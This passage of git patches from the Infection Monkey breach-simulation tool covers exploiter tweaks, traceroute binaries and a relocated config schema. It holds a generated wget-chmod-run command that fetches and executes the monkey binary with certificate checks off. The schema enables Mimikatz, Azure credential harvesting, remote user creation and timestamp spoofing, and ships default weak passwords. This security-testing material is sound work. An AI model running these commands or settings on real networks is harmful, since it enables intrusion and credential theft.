}); this.setState({graph: res}); this.props.onStatusChange(); From 67fc46cb1848c9512703f0b35b8065828953295e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 19 Dec 2018 11:42:40 +0200 Subject: [PATCH 068/201] Upload only 64 bit monkey to windows --- monkey/infection_monkey/exploit/hadoop.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 881ccf39d..1db521acd 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -36,6 +36,9 @@ class HadoopExploiter(WebRCE): self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: return False + # We presume hadoop works only on 64-bit machines + if self.host.os['type'] == 'windows': + self.host.os['machine'] = '64' paths = self.get_monkey_paths() if not paths: return False From c184bd54f098f114220b3dbb0494bde2ef67ba3f Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 19 Dec 2018 18:19:48 +0200 Subject: [PATCH 069/201] - Changed curl to wget, its available out of the box on more OSs. --- .../monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js index 4543a5c34..5c93065c4 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js @@ -52,7 +52,7 @@ class RunMonkeyPageComponent extends AuthComponent { generateLinuxCmd(ip, is32Bit) { let bitText = is32Bit ? '32' : '64'; - return `curl -O -k https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000` + return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000` } generateWindowsCmd(ip, is32Bit) { From 079038783b7d5062b8aff4356380fba7748e5ae6 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 23 Dec 2018 11:26:53 +0200 Subject: [PATCH 070/201] Update monkey/infection_monkey/network/tools.py Co-Authored-By: itaymmguardicore <30774653+itaymmguardicore@users.noreply.github.com> --- monkey/infection_monkey/network/tools.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 2b5497d8b..a5f8c8f28 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -14,7 +14,7 @@ from infection_monkey.pyinstaller_utils import get_binary_file_path DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 IP_ADDR_RE = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' -IP_ADDR_PARENT_RE = r'\(' + IP_ADDR_RE + r'\)' +IP_ADDR_PARENTHESES_RE = r'\(' + IP_ADDR_RE + r'\)' LOG = logging.getLogger(__name__) SLEEP_BETWEEN_POLL = 0.5 From 6ff2e7f541d3f432017520296ba29879c7d9def7 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 23 Dec 2018 12:21:11 +0200 Subject: [PATCH 071/201] Fix CR comment --- monkey/infection_monkey/network/tools.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index a5f8c8f28..2408663aa 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -251,7 +251,7 @@ def _traceroute_linux(target_ip, ttl): proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) stdout, stderr = proc_obj.communicate() - lines = _parse_traceroute(stdout, IP_ADDR_PARENT_RE, ttl) + lines = _parse_traceroute(stdout, IP_ADDR_PARENTHESES_RE, ttl) lines = [x[1:-1] if x else None # Removes parenthesis for x in lines] return lines From 606f3525f7bde8cd731abca69ffdd563de516e0b Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 23 Dec 2018 16:51:27 +0200 Subject: [PATCH 072/201] Fix CR + add 32/64bit binary choice --- monkey/infection_monkey/monkey.spec | 3 ++- monkey/infection_monkey/network/tools.py | 19 +++++++++++++++++-- 2 files changed, 19 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 29fe7db04..7315e10f5 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -97,7 +97,8 @@ def get_msvcr(): def get_traceroute_binaries(): - return [('traceroute', get_bin_file_path('traceroute'), 'BINARY')] + traceroute_name = 'traceroute32' if is_32_bit() else 'traceroute64' + return [(traceroute_name, get_bin_file_path(traceroute_name), 'BINARY')] def get_monkey_filename(): diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 2408663aa..a38273260 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -10,6 +10,7 @@ import re from six.moves import range from infection_monkey.pyinstaller_utils import get_binary_file_path +from infection_monkey.utils import is_64bit_python DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 @@ -191,6 +192,21 @@ def traceroute(target_ip, ttl): return _traceroute_linux(target_ip, ttl) +def _get_traceroute_bin_path(): + """ + Gets the path to the prebuilt traceroute executable + + This is the traceroute utility from: http://traceroute.sourceforge.net + Its been built using the buildroot utility with the following settings: + * Statically link to musl and all other required libs + * Optimize for size + This is done because not all linux distros come with traceroute out-of-the-box, and to ensure it behaves as expected + + :return: Path to traceroute executable + """ + return get_binary_file_path("traceroute64" if is_64bit_python() else "traceroute32") + + def _parse_traceroute(output, regex, ttl): """ Parses the output of traceroute (from either Linux or Windows) @@ -244,8 +260,7 @@ def _traceroute_linux(target_ip, ttl): Traceroute for a specific IP/name - Linux implementation """ - traceroute_path = get_binary_file_path("traceroute") - cli = [traceroute_path, + cli = [_get_traceroute_bin_path(), "-m", str(ttl), target_ip] proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) From e82fb7f0610eafb6ca5c7762fab87442711cc2d0 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 23 Dec 2018 19:35:36 +0200 Subject: [PATCH 073/201] Add default ttl --- monkey/infection_monkey/network/tools.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index a38273260..a5e6d0783 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -179,7 +179,7 @@ def tcp_port_to_service(port): return 'tcp-' + str(port) -def traceroute(target_ip, ttl): +def traceroute(target_ip, ttl=64): """ Traceroute for a specific IP/name. :param target_ip: IP/name of target From 4e5ede0a723435e09858502469fe497fe0e68d5b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 24 Dec 2018 10:58:29 +0200 Subject: [PATCH 074/201] Add note on exception throwing --- monkey/infection_monkey/network/tools.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index a5e6d0783..3a9adef57 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -182,6 +182,7 @@ def tcp_port_to_service(port): def traceroute(target_ip, ttl=64): """ Traceroute for a specific IP/name. + Note, may throw exception on failure that should be handled by caller. :param target_ip: IP/name of target :param ttl: Max TTL :return: Sequence of IPs in the way From 796ac48c72aa5b8bb1abb82b321d334008fd63c6 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 27 Dec 2018 17:14:13 +0200 Subject: [PATCH 075/201] Add timeout for URL queries --- monkey/common/cloud/aws.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/common/cloud/aws.py b/monkey/common/cloud/aws.py index 53b0690f9..6e5bc6c0e 100644 --- a/monkey/common/cloud/aws.py +++ b/monkey/common/cloud/aws.py @@ -6,7 +6,7 @@ __author__ = 'itay.mizeretz' class AWS(object): def __init__(self): try: - self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read() + self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id', timeout=2).read() except urllib2.URLError: self.instance_id = None From 5d3524cff57b7f471e4e6e203217bf08c0d11600 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 30 Dec 2018 18:11:14 +0200 Subject: [PATCH 076/201] Move config schema to separate file for easier editing --- monkey/monkey_island/cc/services/config.py | 856 +----------------- .../cc/services/config_schema.py | 855 +++++++++++++++++ 2 files changed, 856 insertions(+), 855 deletions(-) create mode 100644 monkey/monkey_island/cc/services/config_schema.py diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 1b2966026..dc0ecada8 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -9,865 +9,11 @@ from cc.database import mongo from cc.encryptor import encryptor from cc.environment.environment import env from cc.utils import local_ip_addresses - +from config_schema import SCHEMA __author__ = "itay.mizeretz" logger = logging.getLogger(__name__) -WARNING_SIGN = u" \u26A0" - -SCHEMA = { - "title": "Monkey", - "type": "object", - "definitions": { - "exploiter_classes": { - "title": "Exploit class", - "type": "string", - "anyOf": [ - { - "type": "string", - "enum": [ - "SmbExploiter" - ], - "title": "SMB Exploiter" - }, - { - "type": "string", - "enum": [ - "WmiExploiter" - ], - "title": "WMI Exploiter" - }, - { - "type": "string", - "enum": [ - "RdpExploiter" - ], - "title": "RDP Exploiter (UNSAFE)" - }, - { - "type": "string", - "enum": [ - "Ms08_067_Exploiter" - ], - "title": "MS08-067 Exploiter (UNSAFE)" - }, - { - "type": "string", - "enum": [ - "SSHExploiter" - ], - "title": "SSH Exploiter" - }, - { - "type": "string", - "enum": [ - "ShellShockExploiter" - ], - "title": "ShellShock Exploiter" - }, - { - "type": "string", - "enum": [ - "SambaCryExploiter" - ], - "title": "SambaCry Exploiter" - }, - { - "type": "string", - "enum": [ - "ElasticGroovyExploiter" - ], - "title": "ElasticGroovy Exploiter" - }, - { - "type": "string", - "enum": [ - "Struts2Exploiter" - ], - "title": "Struts2 Exploiter" - }, - { - "type": "string", - "enum": [ - "WebLogicExploiter" - ], - "title": "Oracle Web Logic Exploiter" - }, - { - "type": "string", - "enum": [ - "HadoopExploiter" - ], - "title": "Hadoop/Yarn Exploiter" - } - ] - }, - "finger_classes": { - "title": "Fingerprint class", - "type": "string", - "anyOf": [ - { - "type": "string", - "enum": [ - "SMBFinger" - ], - "title": "SMBFinger" - }, - { - "type": "string", - "enum": [ - "SSHFinger" - ], - "title": "SSHFinger" - }, - { - "type": "string", - "enum": [ - "PingScanner" - ], - "title": "PingScanner" - }, - { - "type": "string", - "enum": [ - "HTTPFinger" - ], - "title": "HTTPFinger" - }, - { - "type": "string", - "enum": [ - "MySQLFinger" - ], - "title": "MySQLFinger" - }, - { - "type": "string", - "enum": [ - "MSSQLFinger" - ], - "title": "MSSQLFinger" - }, - - { - "type": "string", - "enum": [ - "ElasticFinger" - ], - "title": "ElasticFinger" - } - ] - } - }, - "properties": { - "basic": { - "title": "Basic - Credentials", - "type": "object", - "properties": { - "credentials": { - "title": "Credentials", - "type": "object", - "properties": { - "exploit_user_list": { - "title": "Exploit user list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "Administrator", - "root", - "user" - ], - "description": "List of usernames to use on exploits using credentials" - }, - "exploit_password_list": { - "title": "Exploit password list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "Password1!", - "1234", - "password", - "12345678" - ], - "description": "List of password to use on exploits using credentials" - } - } - } - } - }, - "basic_network": { - "title": "Basic - Network", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "blocked_ips": { - "title": "Blocked IPs", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - ], - "description": "List of IPs to not scan" - }, - "local_network_scan": { - "title": "Local network scan", - "type": "boolean", - "default": True, - "description": "Determines whether the monkey should scan its subnets additionally" - }, - "depth": { - "title": "Distance from island", - "type": "integer", - "default": 2, - "description": - "Amount of hops allowed for the monkey to spread from the island. " - + WARNING_SIGN - + " Note that setting this value too high may result in the monkey propagating too far" - }, - "subnet_scan_list": { - "title": "Scan IP/subnet list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - ], - "description": - "List of IPs/subnets the monkey should scan." - " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"" - } - } - }, - "network_analysis": { - "title": "Network Analysis", - "type": "object", - "properties": { - "inaccessible_subnets": { - "title": "Network segmentation testing", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - ], - "description": - "Test for network segmentation by providing a list of" - " subnets that should NOT be accessible to each other." - " For example, given the following configuration:" - " '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'" - " a Monkey running on 10.0.0.5 will try to access machines in the following" - " subnets: 11.0.0.2/32, 12.2.3.0/24." - " An alert on successful connections will be shown in the report" - " Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5" - } - } - } - } - }, - "monkey": { - "title": "Monkey", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "alive": { - "title": "Alive", - "type": "boolean", - "default": True, - "description": "Is the monkey alive" - } - } - }, - "behaviour": { - "title": "Behaviour", - "type": "object", - "properties": { - "self_delete_in_cleanup": { - "title": "Self delete on cleanup", - "type": "boolean", - "default": False, - "description": "Should the monkey delete its executable when going down" - }, - "use_file_logging": { - "title": "Use file logging", - "type": "boolean", - "default": True, - "description": "Should the monkey dump to a log file" - }, - "serialize_config": { - "title": "Serialize config", - "type": "boolean", - "default": False, - "description": "Should the monkey dump its config on startup" - } - } - }, - "system_info": { - "title": "System info", - "type": "object", - "properties": { - "extract_azure_creds": { - "title": "Harvest Azure Credentials", - "type": "boolean", - "default": True, - "description": - "Determine if the Monkey should try to harvest password credentials from Azure VMs" - }, - "collect_system_info": { - "title": "Collect system info", - "type": "boolean", - "default": True, - "description": "Determines whether to collect system info" - }, - "should_use_mimikatz": { - "title": "Should use Mimikatz", - "type": "boolean", - "default": True, - "description": "Determines whether to use Mimikatz" - }, - } - }, - "life_cycle": { - "title": "Life cycle", - "type": "object", - "properties": { - "max_iterations": { - "title": "Max iterations", - "type": "integer", - "default": 1, - "description": "Determines how many iterations of the monkey's full lifecycle should occur" - }, - "victims_max_find": { - "title": "Max victims to find", - "type": "integer", - "default": 30, - "description": "Determines the maximum number of machines the monkey is allowed to scan" - }, - "victims_max_exploit": { - "title": "Max victims to exploit", - "type": "integer", - "default": 7, - "description": - "Determines the maximum number of machines the monkey" - " is allowed to successfully exploit. " + WARNING_SIGN - + " Note that setting this value too high may result in the monkey propagating to " - "a high number of machines" - }, - "timeout_between_iterations": { - "title": "Wait time between iterations", - "type": "integer", - "default": 100, - "description": - "Determines for how long (in seconds) should the monkey wait between iterations" - }, - "retry_failed_explotation": { - "title": "Retry failed exploitation", - "type": "boolean", - "default": True, - "description": - "Determines whether the monkey should retry exploiting machines" - " it didn't successfuly exploit on previous iterations" - } - } - } - } - }, - "internal": { - "title": "Internal", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "singleton_mutex_name": { - "title": "Singleton mutex name", - "type": "string", - "default": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "description": - "The name of the mutex used to determine whether the monkey is already running" - }, - "keep_tunnel_open_time": { - "title": "Keep tunnel open time", - "type": "integer", - "default": 60, - "description": "Time to keep tunnel open before going down after last exploit (in seconds)" - } - } - }, - "classes": { - "title": "Classes", - "type": "object", - "properties": { - "scanner_class": { - "title": "Scanner class", - "type": "string", - "default": "TcpScanner", - "enum": [ - "TcpScanner" - ], - "enumNames": [ - "TcpScanner" - ], - "description": "Determines class to scan for machines. (Shouldn't be changed)" - }, - "finger_classes": { - "title": "Fingerprint classes", - "type": "array", - "uniqueItems": True, - "items": { - "$ref": "#/definitions/finger_classes" - }, - "default": [ - "SMBFinger", - "SSHFinger", - "PingScanner", - "HTTPFinger", - "MySQLFinger", - "MSSQLFinger", - "ElasticFinger" - ], - "description": "Determines which classes to use for fingerprinting" - } - } - }, - "kill_file": { - "title": "Kill file", - "type": "object", - "properties": { - "kill_file_path_windows": { - "title": "Kill file path on Windows", - "type": "string", - "default": "%windir%\\monkey.not", - "description": "Path of file which kills monkey if it exists (on Windows)" - }, - "kill_file_path_linux": { - "title": "Kill file path on Linux", - "type": "string", - "default": "/var/run/monkey.not", - "description": "Path of file which kills monkey if it exists (on Linux)" - } - } - }, - "dropper": { - "title": "Dropper", - "type": "object", - "properties": { - "dropper_set_date": { - "title": "Dropper sets date", - "type": "boolean", - "default": True, - "description": - "Determines whether the dropper should set the monkey's file date to be the same as" - " another file" - }, - "dropper_date_reference_path_windows": { - "title": "Dropper date reference path (Windows)", - "type": "string", - "default": "%windir%\\system32\\kernel32.dll", - "description": - "Determines which file the dropper should copy the date from if it's configured to do" - " so on Windows (use fullpath)" - }, - "dropper_date_reference_path_linux": { - "title": "Dropper date reference path (Linux)", - "type": "string", - "default": "/bin/sh", - "description": - "Determines which file the dropper should copy the date from if it's configured to do" - " so on Linux (use fullpath)" - }, - "dropper_target_path_linux": { - "title": "Dropper target path on Linux", - "type": "string", - "default": "/tmp/monkey", - "description": "Determines where should the dropper place the monkey on a Linux machine" - }, - "dropper_target_path_win_32": { - "title": "Dropper target path on Windows (32bit)", - "type": "string", - "default": "C:\\Windows\\monkey32.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine " - "(32bit)" - }, - "dropper_target_path_win_64": { - "title": "Dropper target path on Windows (64bit)", - "type": "string", - "default": "C:\\Windows\\monkey64.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine " - "(64 bit)" - }, - "dropper_try_move_first": { - "title": "Try to move first", - "type": "boolean", - "default": True, - "description": - "Determines whether the dropper should try to move itsel instead of copying itself" - " to target path" - } - } - }, - "logging": { - "title": "Logging", - "type": "object", - "properties": { - "dropper_log_path_linux": { - "title": "Dropper log file path on Linux", - "type": "string", - "default": "/tmp/user-1562", - "description": "The fullpath of the dropper log file on Linux" - }, - "dropper_log_path_windows": { - "title": "Dropper log file path on Windows", - "type": "string", - "default": "%temp%\\~df1562.tmp", - "description": "The fullpath of the dropper log file on Windows" - }, - "monkey_log_path_linux": { - "title": "Monkey log file path on Linux", - "type": "string", - "default": "/tmp/user-1563", - "description": "The fullpath of the monkey log file on Linux" - }, - "monkey_log_path_windows": { - "title": "Monkey log file path on Windows", - "type": "string", - "default": "%temp%\\~df1563.tmp", - "description": "The fullpath of the monkey log file on Windows" - }, - "send_log_to_server": { - "title": "Send log to server", - "type": "boolean", - "default": True, - "description": "Determines whether the monkey sends its log to the Monkey Island server" - } - } - }, - "exploits": { - "title": "Exploits", - "type": "object", - "properties": { - "exploit_lm_hash_list": { - "title": "Exploit LM hash list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [], - "description": "List of LM hashes to use on exploits using credentials" - }, - "exploit_ntlm_hash_list": { - "title": "Exploit NTLM hash list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [], - "description": "List of NTLM hashes to use on exploits using credentials" - }, - "exploit_ssh_keys": { - "title": "SSH key pairs list", - "type": "array", - "uniqueItems": True, - "default": [], - "items": { - "type": "string" - }, - "description": "List of SSH key pairs to use, when trying to ssh into servers" - } - } - } - } - }, - "cnc": { - "title": "Monkey Island", - "type": "object", - "properties": { - "servers": { - "title": "Servers", - "type": "object", - "properties": { - "command_servers": { - "title": "Command servers", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "192.0.2.0:5000" - ], - "description": "List of command servers to try and communicate with (format is :)" - }, - "internet_services": { - "title": "Internet services", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "monkey.guardicore.com", - "www.google.com" - ], - "description": - "List of internet services to try and communicate with to determine internet" - " connectivity (use either ip or domain)" - }, - "current_server": { - "title": "Current server", - "type": "string", - "default": "192.0.2.0:5000", - "description": "The current command server the monkey is communicating with" - } - } - } - } - }, - "exploits": { - "title": "Exploits", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "exploiter_classes": { - "title": "Exploits", - "type": "array", - "uniqueItems": True, - "items": { - "$ref": "#/definitions/exploiter_classes" - }, - "default": [ - "SmbExploiter", - "WmiExploiter", - "SSHExploiter", - "ShellShockExploiter", - "SambaCryExploiter", - "ElasticGroovyExploiter", - "Struts2Exploiter", - "WebLogicExploiter", - "HadoopExploiter" - ], - "description": - "Determines which exploits to use. " + WARNING_SIGN - + " Note that using unsafe exploits may cause crashes of the exploited machine/service" - }, - "skip_exploit_if_file_exist": { - "title": "Skip exploit if file exists", - "type": "boolean", - "default": False, - "description": "Determines whether the monkey should skip the exploit if the monkey's file" - " is already on the remote machine" - } - } - }, - "ms08_067": { - "title": "MS08_067", - "type": "object", - "properties": { - "ms08_067_exploit_attempts": { - "title": "MS08_067 exploit attempts", - "type": "integer", - "default": 5, - "description": "Number of attempts to exploit using MS08_067" - }, - "ms08_067_remote_user_add": { - "title": "MS08_067 remote user", - "type": "string", - "default": "Monkey_IUSER_SUPPORT", - "description": "Username to add on successful exploit" - }, - "ms08_067_remote_user_pass": { - "title": "MS08_067 remote user password", - "type": "string", - "default": "Password1!", - "description": "Password to use for created user" - } - } - }, - "rdp_grinder": { - "title": "RDP grinder", - "type": "object", - "properties": { - "rdp_use_vbs_download": { - "title": "Use VBS download", - "type": "boolean", - "default": True, - "description": "Determines whether to use VBS or BITS to download monkey to remote machine" - " (true=VBS, false=BITS)" - } - } - }, - "sambacry": { - "title": "SambaCry", - "type": "object", - "properties": { - "sambacry_trigger_timeout": { - "title": "SambaCry trigger timeout", - "type": "integer", - "default": 5, - "description": "Timeout (in seconds) of SambaCry trigger" - }, - "sambacry_folder_paths_to_guess": { - "title": "SambaCry folder paths to guess", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - '/', - '/mnt', - '/tmp', - '/storage', - '/export', - '/share', - '/shares', - '/home' - ], - "description": "List of full paths to share folder for SambaCry to guess" - }, - "sambacry_shares_not_to_check": { - "title": "SambaCry shares not to check", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "IPC$", "print$" - ], - "description": "These shares won't be checked when exploiting with SambaCry" - } - } - }, - "smb_service": { - "title": "SMB service", - "type": "object", - "properties": { - "smb_download_timeout": { - "title": "SMB download timeout", - "type": "integer", - "default": 300, - "description": - "Timeout (in seconds) for SMB download operation (used in various exploits using SMB)" - }, - "smb_service_name": { - "title": "SMB service name", - "type": "string", - "default": "InfectionMonkey", - "description": "Name of the SMB service that will be set up to download monkey" - } - } - } - } - }, - "network": { - "title": "Network", - "type": "object", - "properties": { - "tcp_scanner": { - "title": "TCP scanner", - "type": "object", - "properties": { - "HTTP_PORTS": { - "title": "HTTP ports", - "type": "array", - "uniqueItems": True, - "items": { - "type": "integer" - }, - "default": [ - 80, - 8080, - 443, - 8008, - 7001 - ], - "description": "List of ports the monkey will check if are being used for HTTP" - }, - "tcp_target_ports": { - "title": "TCP target ports", - "type": "array", - "uniqueItems": True, - "items": { - "type": "integer" - }, - "default": [ - 22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008, - 3306, - 9200, - 7001 - ], - "description": "List of TCP ports the monkey will check whether they're open" - }, - "tcp_scan_interval": { - "title": "TCP scan interval", - "type": "integer", - "default": 200, - "description": "Time to sleep (in milliseconds) between scans" - }, - "tcp_scan_timeout": { - "title": "TCP scan timeout", - "type": "integer", - "default": 3000, - "description": "Maximum time (in milliseconds) to wait for TCP response" - }, - "tcp_scan_get_banner": { - "title": "TCP scan - get banner", - "type": "boolean", - "default": True, - "description": "Determines whether the TCP scan should try to get the banner" - } - } - }, - "ping_scanner": { - "title": "Ping scanner", - "type": "object", - "properties": { - "ping_scan_timeout": { - "title": "Ping scan timeout", - "type": "integer", - "default": 1000, - "description": "Maximum time (in milliseconds) to wait for ping response" - } - } - } - } - } - }, - "options": { - "collapsed": True - } -} # This should be used for config values of array type (array of strings only) ENCRYPTED_CONFIG_ARRAYS = \ diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py new file mode 100644 index 000000000..d4d294afc --- /dev/null +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -0,0 +1,855 @@ +WARNING_SIGN = u" \u26A0" + + +SCHEMA = { + "title": "Monkey", + "type": "object", + "definitions": { + "exploiter_classes": { + "title": "Exploit class", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "SmbExploiter" + ], + "title": "SMB Exploiter" + }, + { + "type": "string", + "enum": [ + "WmiExploiter" + ], + "title": "WMI Exploiter" + }, + { + "type": "string", + "enum": [ + "RdpExploiter" + ], + "title": "RDP Exploiter (UNSAFE)" + }, + { + "type": "string", + "enum": [ + "Ms08_067_Exploiter" + ], + "title": "MS08-067 Exploiter (UNSAFE)" + }, + { + "type": "string", + "enum": [ + "SSHExploiter" + ], + "title": "SSH Exploiter" + }, + { + "type": "string", + "enum": [ + "ShellShockExploiter" + ], + "title": "ShellShock Exploiter" + }, + { + "type": "string", + "enum": [ + "SambaCryExploiter" + ], + "title": "SambaCry Exploiter" + }, + { + "type": "string", + "enum": [ + "ElasticGroovyExploiter" + ], + "title": "ElasticGroovy Exploiter" + }, + { + "type": "string", + "enum": [ + "Struts2Exploiter" + ], + "title": "Struts2 Exploiter" + }, + { + "type": "string", + "enum": [ + "WebLogicExploiter" + ], + "title": "Oracle Web Logic Exploiter" + }, + { + "type": "string", + "enum": [ + "HadoopExploiter" + ], + "title": "Hadoop/Yarn Exploiter" + } + ] + }, + "finger_classes": { + "title": "Fingerprint class", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "SMBFinger" + ], + "title": "SMBFinger" + }, + { + "type": "string", + "enum": [ + "SSHFinger" + ], + "title": "SSHFinger" + }, + { + "type": "string", + "enum": [ + "PingScanner" + ], + "title": "PingScanner" + }, + { + "type": "string", + "enum": [ + "HTTPFinger" + ], + "title": "HTTPFinger" + }, + { + "type": "string", + "enum": [ + "MySQLFinger" + ], + "title": "MySQLFinger" + }, + { + "type": "string", + "enum": [ + "MSSQLFinger" + ], + "title": "MSSQLFinger" + }, + + { + "type": "string", + "enum": [ + "ElasticFinger" + ], + "title": "ElasticFinger" + } + ] + } + }, + "properties": { + "basic": { + "title": "Basic - Credentials", + "type": "object", + "properties": { + "credentials": { + "title": "Credentials", + "type": "object", + "properties": { + "exploit_user_list": { + "title": "Exploit user list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "Administrator", + "root", + "user" + ], + "description": "List of usernames to use on exploits using credentials" + }, + "exploit_password_list": { + "title": "Exploit password list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "Password1!", + "1234", + "password", + "12345678" + ], + "description": "List of password to use on exploits using credentials" + } + } + } + } + }, + "basic_network": { + "title": "Basic - Network", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "blocked_ips": { + "title": "Blocked IPs", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + ], + "description": "List of IPs to not scan" + }, + "local_network_scan": { + "title": "Local network scan", + "type": "boolean", + "default": True, + "description": "Determines whether the monkey should scan its subnets additionally" + }, + "depth": { + "title": "Distance from island", + "type": "integer", + "default": 2, + "description": + "Amount of hops allowed for the monkey to spread from the island. " + + WARNING_SIGN + + " Note that setting this value too high may result in the monkey propagating too far" + }, + "subnet_scan_list": { + "title": "Scan IP/subnet list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + ], + "description": + "List of IPs/subnets the monkey should scan." + " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"" + } + } + }, + "network_analysis": { + "title": "Network Analysis", + "type": "object", + "properties": { + "inaccessible_subnets": { + "title": "Network segmentation testing", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + ], + "description": + "Test for network segmentation by providing a list of" + " subnets that should NOT be accessible to each other." + " For example, given the following configuration:" + " '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'" + " a Monkey running on 10.0.0.5 will try to access machines in the following" + " subnets: 11.0.0.2/32, 12.2.3.0/24." + " An alert on successful connections will be shown in the report" + " Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5" + } + } + } + } + }, + "monkey": { + "title": "Monkey", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "alive": { + "title": "Alive", + "type": "boolean", + "default": True, + "description": "Is the monkey alive" + } + } + }, + "behaviour": { + "title": "Behaviour", + "type": "object", + "properties": { + "self_delete_in_cleanup": { + "title": "Self delete on cleanup", + "type": "boolean", + "default": False, + "description": "Should the monkey delete its executable when going down" + }, + "use_file_logging": { + "title": "Use file logging", + "type": "boolean", + "default": True, + "description": "Should the monkey dump to a log file" + }, + "serialize_config": { + "title": "Serialize config", + "type": "boolean", + "default": False, + "description": "Should the monkey dump its config on startup" + } + } + }, + "system_info": { + "title": "System info", + "type": 